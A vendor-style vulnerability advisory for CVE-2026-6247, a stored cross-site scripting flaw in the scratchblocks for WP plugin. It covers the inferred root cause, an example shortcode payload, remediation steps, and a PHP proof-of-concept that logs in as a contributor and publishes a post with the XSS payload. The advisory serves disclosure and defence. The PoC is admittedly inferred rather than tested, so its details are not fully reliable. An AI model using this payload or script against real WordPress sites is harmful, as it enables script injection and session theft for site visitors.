Published : May 16, 2026

CVE-2026-6247: scratchblocks for WP <= 1.0.1 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'element' Shortcode Attribute (scratchblocks-for-wp)

CVE ID CVE-2026-6247
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.0.1
Patched Version
Disclosed May 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6247 (metadata-based):

This vulnerability allows authenticated users with contributor-level access or higher to inject arbitrary JavaScript into WordPress pages via a stored cross-site scripting (XSS) attack. The vulnerable component is the `scratchblocks` shortcode provided by the scratchblocks for WP plugin. Atomic Edge analysis assigns a CVSS score of 6.4 (medium severity) due to the requirement for authentication and the low impact on confidentiality and integrity.

The root cause is improper sanitization of the `element` attribute within the `scratchblocks` shortcode handler. Based on the CWE-79 classification and the vulnerability description, Atomic Edge research infers that the plugin registers a WordPress shortcode (`[scratchblocks element=”…”]`) and passes user-supplied attribute values directly into HTML output without applying appropriate escaping functions such as `esc_attr()` or `wp_kses()`. The plugin likely processes shortcode attributes using `shortcode_atts()` or direct `$atts` array access, then echoes or returns the attribute value inside a “ tag or HTML element attribute without sanitization. This inference is based on the plugin slug and common WordPress shortcode patterns; no source code confirmation is available.

An authenticated attacker with contributor privileges can inject persistent XSS by posting a WordPress post or page containing a crafted shortcode. The attack payload targets the `element` attribute: for example, `[scratchblocks element=”onfocus=’alert(1)’ autofocus=”]`. When any user views the compromised page, the browser executes the injected script. The attacker does not need to bypass nonce checks because shortcodes execute at render time on the server side. The specific AJAX action or REST endpoint is not involved; the attack vector is the WordPress shortcode API through the post editor.

To remediate this vulnerability, the plugin must escape the `element` attribute value using WordPress built-in functions. The shortcode handler should apply `esc_attr( $atts[‘element’] )` before outputting the value inside an HTML context. If the value is used in a JavaScript context (e.g., inside a “ tag), the plugin must use `wp_json_encode()` or `esc_js()` with caution. The safest approach is to whitelist allowed HTML element names (e.g., only `div`, `pre`, `code`) and reject unexpected values. Since no patched version exists, site administrators should disable the plugin until a fix is released or manually audit and patch the code.

If exploited, this vulnerability allows attackers to execute arbitrary JavaScript in the context of any user who views the injected page. Attackers can steal session cookies, log keystrokes, perform actions on behalf of the victim (e.g., creating admin accounts), or deface the site. The impact is limited to pages where the shortcode is rendered, but contributor-level access enables injection into any post they can edit, including published posts.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6247 - scratchblocks for WP <= 1.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'element' Shortcode Attribute

// Configuration
$target_url = 'https://example.com'; // Change this to the target WordPress site
$username = 'contributor_user';
$password = 'contributor_pass';

// Step 1: Authenticate as a contributor (or higher)
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-login.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => 1
    ]),
    CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false
]);
curl_exec($ch);

// Step 2: Get the WordPress nonce for creating a new post
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$admin_page = curl_exec($ch);

// Extract nonce (this is a simplified extraction; real PoC may need regex)
preg_match('/"_wpnonce":"([a-f0-9]+)"/', $admin_page, $matches);
$nonce = $matches[1] ?? '';

if (empty($nonce)) {
    die('Failed to retrieve nonce. Check authentication or target site structure.');
}

// Step 3: Craft the XSS payload using the 'element' shortcode attribute
// The payload uses an event handler attribute to fire the XSS
$malicious_shortcode = '[scratchblocks element="onfocus=alert(1) autofocus="]';

$post_data = [
    'post_title' => 'Atomic Edge PoC - CVE-2026-6247',
    'content' => $malicious_shortcode,
    'post_status' => 'publish',
    'post_type' => 'post',
    '_wpnonce' => $nonce,
    'user_ID' => 1 // Assumes the authenticated user ID is 1 for simplicity
];

curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/post.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($post_data),
    CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
    CURLOPT_RETURNTRANSFER => true
]);

$response = curl_exec($ch);

// Step 4: Verify the post was created (check response for success indicators)
if (strpos($response, 'post-preview-iframe') !== false) {
    echo '[+] PoC executed successfully. The XSS payload is now stored.' . PHP_EOL;
    echo '[+] Visit the new post to trigger the alert.' . PHP_EOL;
} else {
    echo '[-] PoC may have failed. Check the target site and credentials.' . PHP_EOL;
}

curl_close($ch);

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School